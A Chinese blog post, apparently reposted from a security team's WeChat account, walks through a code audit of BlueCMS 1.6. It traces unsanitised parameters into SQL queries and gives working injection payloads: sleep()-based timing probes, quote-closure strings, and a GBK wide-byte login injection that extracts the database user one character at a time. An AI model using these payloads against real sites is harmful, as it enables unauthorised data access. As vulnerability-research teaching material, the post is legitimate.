“某面试,问了很多审计的内容,我一个混子感慨,人和人的差距,比太平洋的距离还大。 ”
手上有好几张cnvd,但面试的时候拿不出手,"你有oday吗?给你一套cms能审计出sql注入吗?这一句话直接怼的无话可说"
手上有一套bluecms1.6,花了两天时间,认真的审计,从漏洞触发点到POC探针测试的思路。
0x00 相关准备
审计工具: phpstorm(IDE)、seay审计工具
配置xdebug
https://mp.weixin.qq.com/s/uEAqbbgZC_C8gii1HmGrAw
第一部分: IDE配置
IDE的DBGP协议代理(xdebug)
xdebug.remote_host=localhost
xdebug.remote_port9000
xdebug.remote_handler=dbgp
xdebug.idekey=PHPSTORM
第二部分 Servers配置
Servers配置->配置网站路径-插件(xdebug)
第三部分 浏览器xdebug前端下断点。
但phpstorm配置xdebug是不够浏览器调试的,大多数浏览器通过GET和POST传入参数,
插件:JetBrains IDE Support
链接: https://pan.baidu.com/s/1r9krO1Unyajx2lc1BB4aqg 提取码: p7x4
运行后phpstorm开启php-web即可调试
0x01. 入口文件SQL注入
吧源码放到seay中,自动审计出一些直接拼接的sql,变量直接拼接到sql语句。
搜索型拼接
" AND title LIKE '%".$keywords."%' OR keywords LIKE '%".$keywords."%' ";
常见cid参数拼接
(这里的cid前面引号是前面的字符串,后面的引号是拼接后面的')')
$condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")"
直接传参GET拼接
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
...
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
1.第一处sql
裸露在目录外层的文件有ad_js 、user、search、guest_book这几个文件
先在ad_js传入GET参数和20行的$ad下断点,
浏览器传入1'后,common.inc做了全局处理,但这里直接拼接不需要'
common.inc.php
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
步进到getone函数,
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
通过linkid连接mysql,跟进这个linkid,常见的php连接mysql案例
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
然后进入到query这里
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}
mysql查询成功,返回查询结果,查询失败,有语法错误,进入dbshow这个方法,传入query error:$sql,更进dbshow这个方法。
看到他直接echo输出错误,,也就是说,,整个逻辑,sql注入触发需要通过query函数,查询异常!$query=@mysql_query,就会引发报错。
POC:
这里直接拼接$_GET变量,可以直接union select 联合查询union select 1,2,3,4,5,6,7 表中一共有7个字段,但没有字段的显示位置,通常字段的显示有title、price、id、author,这些显示的位置都是表中的字段
通过sleep()函数做探针,
POC : and if(1=1,sleep(5),1) 前提ad_id=1 要为真
or if(1=1,sleep(5),1) ad_id=1 是否为真无影响,or后面的语句依旧执行
延时
0x02 宽字节注入
search.php文件
$condition = " AND cat_id IN(SELECT cat_id FROM".table('category')." WHERE parentid = ".$cid.")";
直接拼接cid,但输入做了intval取整清洗
54行keywords直接拼接到sql,但keywords有'',要走common.inc.php会过滤', mysql的编码gbk可宽字节注入
$condition .= " AND title LIKE '%".$keywords."%' OR keywords LIKE '%".$keywords."%' ";
但实际数据库查询发现%无法绕过
SELECT * FROM `blue_post` where keywords like '%1%運' and 運'%
運'=運'%'
未做addlash函数的搜索注入,闭合后面的%'和前边的'%,通过and 和or
拼接POC
'and 1=1 and '%'='
%' and 1=1 and '%'='
第二处宽字节
User.php 873行,
$row = $db->getone("SELECT COUNT(*) AS num FROM
".table('admin')." WHERE admin_name='$user_name'");
User.php文件传入参数为index_login时,下面会调用一处身份查询,直接拼接传入的username,和第一处的sql注入一样,进入getone方法,调用query方法,如果查询异常,返回query error $sql
但此处返回 query error的 触发比较难,,参数被('') 包围,查询失败返回row=0而不是报错
POC: user_name=%df'and if(1=2,1,exp(710))#&pwd=1
这里查询失败,if表达式为假,触发查询异常
延时poc:
or 逻辑符在延时比and 好用,很多时候,and前面的表达式值为假,但or
不收前面表达式影响
构造poc: %df' and if(ascii(substr(current_user,1))=x,1,exp(710))
第一位 r
第二位 r ........ root
结尾
学习了一些手法而已,大师傅勿喷,,
原文始发于微信公众号(Qaseem安全团队):某bluecms的一次审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论